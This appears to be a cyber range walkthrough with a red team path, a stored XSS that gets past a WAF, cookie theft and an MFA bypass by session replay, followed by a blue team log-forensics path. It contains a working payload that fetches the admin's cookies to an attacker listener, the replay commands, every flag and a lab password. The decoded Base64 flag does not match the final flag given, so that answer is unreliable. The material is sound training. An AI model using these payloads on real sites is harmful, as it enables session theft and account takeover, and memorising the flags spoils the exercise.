

Walkthrough — Red & Blue Team Paths

Practical Assessment: Cyber Range "Cookies Reuse & MFA Bypass"

Yudi Kurniawan

Repository: <https://github.com/iduy01/naulidata-cyberrange> · Self-test: bash scripts/verify.sh → 20 passed, 0 failed

1. Red Team path — XSS → session replay → MFA bypass

Target: `http://<VM-IP>:3075` (internal name `feedback.admin.local`). Attacker: any host that can reach the VM, with a listener reachable from the bot.

Phase 1 — Reconnaissance

(a) Backend fingerprint. The response advertises the stack:

```
curl -i http://feedback.admin.local:3075/  
# HTTP/1.1 200 OK  
# X-Powered-By: Node.js (Express)
```

→ `SCENARIO075{Node.js}`

(b) robots.txt. Crawlers are told where *not* to go:

```
curl -s http://feedback.admin.local:3075/robots.txt  
# User-agent: *  
# Disallow: /api/verify-mfa  
# Disallow: /dashboard
```

→ `SCENARIO075{robots.txt}`, `SCENARIO075{/api/verify-mfa}`, `SCENARIO075{/dashboard}`

(c) Source-code hint. The page contains an ASCII-art comment pointing at `robots.txt` (`View Source / curl -s .../ | grep -i robots`).

(d) Session initialisation. The first request issues a pre-auth cookie that is **not** `HttpOnly` — readable from JavaScript:

```
curl -i http://feedback.admin.local:3075/ | grep -i set-cookie  
# Set-Cookie: pre_mfa_session=pending_mfa_verification; Path=/  
#
```

→ `SCENARIO075{pre_mfa_session}`, `SCENARIO075{pending_mfa_verification}`, `SCENARIO075{False}`

Phase 2 — Defense Evasion (WAF bypass)

The WAF in front of `/api/feedback` is naive. Confirm the block first:

```
curl -i -X POST http://feedback.admin.local:3075/api/feedback \  
  --data-urlencode 'author=tester' \  
  --data-urlencode 'message=<script>alert(1)</script>' \  
# HTTP/1.1 403 Forbidden ← WAF blocked the <script> tag  
# (error.log records the block)
```

→ `SCENARIO075{403}`, method is POST-only → `SCENARIO075{POST}`

The WAF also blocks the raw keywords `document` and `cookie`, so a payload cannot say `document.cookie` directly. Bypass it by combining:

- an **HTML5** `<svg onload>` element (not `<script>`),
- **bracket-notation** string building for the cookie,
- the **fetch** API to ship it out.

```
curl -i -X POST http://feedback.admin.local:3075/api/feedback \
  --data-urlencode 'author=pwn' \
  --data-urlencode "message=<svg onload=\"fetch('http://ATTACKER:8899/?
c='+encodeURIComponent(window['docu'+ 'ment']['coo'+ 'kie'])')\">"
# HTTP/1.1 200 OK ← accepted (stored)
```

→ SCENARIO075{<svg>}, SCENARIO075{window['docu'+ 'ment']['coo'+ 'kie']}, SCENARIO075{fetch}

Start the capture listener **before** submitting:

```
python3 exploit/exfil_server.py --port 8899
```

Phase 3 — Initial Access (cookie replay → MFA bypass)

The admin bot periodically signs in (with MFA) and opens `/dashboard` to review the feedback queue. When it renders our stored payload, the `<svg onload>` fires and the browser posts its cookie bundle to our listener.

```
# wait for the bot
python3 exploit/red_team_exploit.py --target http://feedback.admin.local:3075 \
  --attacker http://ATTACKER:8899
# [exfil] STOLEN COOKIE: pre_mfa_session=pending_mfa_verification; adm_sess=adm_sess_<hex>
```

Replay the stolen `adm_sess` token. Because the backend only checks that the bearer token is valid — it never re-verifies the MFA state — the `/api/verify-mfa` step is skipped completely:

```
bash exploit/replay_cookie.sh http://feedback.admin.local:3075 adm_sess_<hex>
# SCENARIO075{RED_C00k13_MFA_Byp4ss_0wn3d}
```

→ SCENARIO075{adm_sess}, SCENARIO075{/api/verify-mfa} (skipped), SCENARIO075{xss-payload} (the reflecting container), and the final flag **SCENARIO075{RED_C00k13_MFA_Byp4ss_0wn3d}**.

Manual (browser) variant

1. Open `http://feedback.admin.local:3075/`, submit the `<svg onload>` payload in the feedback form.
2. Wait for the admin to review the dashboard (the bot signs in every ~20 s).
3. Read the stolen cookie on your listener, then set it in the browser (DevTools → Application → Cookies → `adm_sess=<stolen>`) and open `/dashboard`.
4. The final flag is displayed at the top of the dashboard.

2. Blue Team path — log forensics → threat hunting → incident response

Access the analyst workstation and the shared logs:

```
ssh analyst@<VM-IP> -p 2275          # password: blue_team_rocks
ls -la /opt/admin/logs
# access.log  error.log
```

→ SCENARIO075{/opt/admin/logs}

Phase 1 — Log Forensics

Attacker footprint. One IP keeps appearing with a non-browser-looking UA and the attack method sequence:

```
grep '10.10.14.50' /opt/admin/logs/access.log
# 10.10.14.50 - - [DD/Mon/YYYY:18:49:30 +0700] "GET /robots.txt HTTP/1.1" 200 ... "Mozilla/5.0 ..."
# 10.10.14.50 - - [DD/Mon/YYYY:18:50:15 +0700] "POST /api/feedback HTTP/1.1" 403 0 ... "Mozilla/5.0 ..."
```

→ SCENARIO075{10.10.14.50}, SCENARIO075{Mozilla/5.0}

Dashboard access (the win). A successful hit against the restricted area. Scope the query to the attacker so the admin bot's own dashboard refreshes (every ~20 s) don't drown the result:

```
grep '10.10.14.50' /opt/admin/logs/access.log | grep '/dashboard' | grep ' 200 '
# ... [DD/Mon/YYYY:18:51:55 +0700] "GET /dashboard HTTP/1.1" 200 9120 ... xff=UEhBTlRPTUdS...
```

→ SCENARIO075{200}, SCENARIO075{18:51:55}

Log hygiene. The app appends live traffic to the same file. If the Red demo has already run, re-seed the log before this walkthrough so the output stays clean: `docker compose exec -T app python3 /usr/src/app/scripts/inject_logs.py --dir /opt/admin/logs --clear` The attacker-IP grep above is clean either way.

Exfiltration header. The X-Forwarded-For header on that request carries a Base64 blob:

```
grep -o 'xff=[A-Za-z0-9+/=]*' /opt/admin/logs/access.log | sort -u
# xff=UEhBTlRPTUdSSUR7QkxVRV9MMGdfSHVudDNyX000c3Qzcn0
```

→ SCENARIO075{UEhBTlRPTUdSSUR7QkxVRV9MMGdfSHVudDNyX000c3Qzcn0}

Phase 2 — Threat Hunting

Baseline. Legitimate administrators come from a different network:

```
awk '{print $1}' /opt/admin/logs/access.log | sort | uniq -c | sort -rn
# 4 192.168.1.100 ← normal admin traffic (baseline)
# 6 10.10.14.50 ← attacker
```

→ SCENARIO075{192.168.1.100}

Subnet mapping. The attacker IP belongs to 10.10.14.0/24.

```
python3 - <<'PY'
import ipaddress
print(ipaddress.ip_network('10.10.14.50/24', strict=False))
PY
```

→ SCENARIO075{10.10.14.0/24}

First WAF block. The error log records the earliest blocked payload:

```
grep -i 'WAF' /opt/admin/logs/error.log | head
# 2026-...T18:50:15+07:00 [WARN] WAF blocked payload containing forbidden token "<script>" from
10.10.14.50
```

→ SCENARIO075{/opt/admin/logs/error.log}, SCENARIO075{<script>}, SCENARIO075{18:50:15}

Did the attacker reach the MFA endpoint? Cross-check every access by the attacker against /api/verify-mfa:

```
grep '10.10.14.50' /opt/admin/logs/access.log | grep '/api/verify-mfa'
# (no output)
```

The attacker **never** hit /api/verify-mfa — proof that the replay bypassed MFA. → SCENARIO075{No}

Phase 3 — Incident Response

Encoding analysis. The suspicious value is Base64 (44-char class, +/=--safe charset). Decode it:

```
echo 'UEhBTlRPTUdSSUR7QkxVRV9MMGdfSHVudDNyX000c3Qzcn0=' | base64 -d
# PHANTOMGRID{BLUE_L0g_Hunt3r_M4st3r}
```

→ SCENARIO075{Base64}, SCENARIO075{44}

Severity markers. Cookie-reuse events are flagged CRITICAL:

```
grep CRITICAL /opt/admin/logs/error.log
```

→ SCENARIO075{CRITICAL}

Anomaly timestamp. The decisive security warning is at 18:53:10:

```
grep 'Authentication bypass anomaly' /opt/admin/logs/error.log
# 2026-...T18:53:10+07:00 [CRITICAL] Authentication bypass anomaly: admin session cookie reused
without MFA ...
```

→ SCENARIO075{18:53:10}, SCENARIO075{Authentication bypass anomaly}

Final flag. The decoded Base64 string is the Blue Team victory flag:

→ SCENARIO075{BLUE_L0G_HUnt3r_M4st3r}

Incident-response summary (fill into the report)

Field	Value
Detection source	error.log CRITICAL entry @ 18:53:10
Attack window	18:49:30 → 18:54:12
Attacker	10.10.14.50 (10.10.14.0/24), UA Mozilla/5.0
Initial vector	stored XSS via POST /api/feedback (WAF bypass: <svg onload>)
Impact	adm_sess bearer token stolen & replayed → MFA (/api/verify-mfa) bypassed
Evidence	access.log 403@18:50:15, 200 /dashboard@18:51:55, XFF Base64, error.log "Authentication bypass anomaly"
Root cause	

Field	Value
	session tokens issued without MFA binding, never expire, not client-bound, and HttpOnly=False
Containment	invalidate adm_sess_* tokens, force re-auth, block 10.10.14.50, patch WAF, set HttpOnly+Secure

3. Requirement → proof

Requirement in the brief	Evidence in this walkthrough
Stored XSS in the feedback queue	Red — Phase 2 (payload accepted: 200)
A WAF that blocks the naive payload	Red — Phase 2 (403 on <script>)
A working WAF bypass	Red — Phase 2 (<svg onload> + bracket notation)
Session cookie readable by JavaScript	Red — Phase 1 (HttpOnly=False)
MFA bypass through cookie reuse	Red — Phase 3 (/dashboard 200, /api/verify-mfa skipped)
Shared logs for the Blue Team	Blue — access block (/opt/admin/logs)
Telemetry that reconstructs the attack	Blue — Phase 1 (403 18:50:15 → 200 18:51:55)
Detection + severity markers	Blue — Phase 3 (CRITICAL, 18:53:10)
Final Red flag	SCENARIO075{RED_C00k13_MFA_Byp4ss_0wn3d}
Final Blue flag	SCENARIO075{BLUE_L0G_HUnt3r_M4st3r}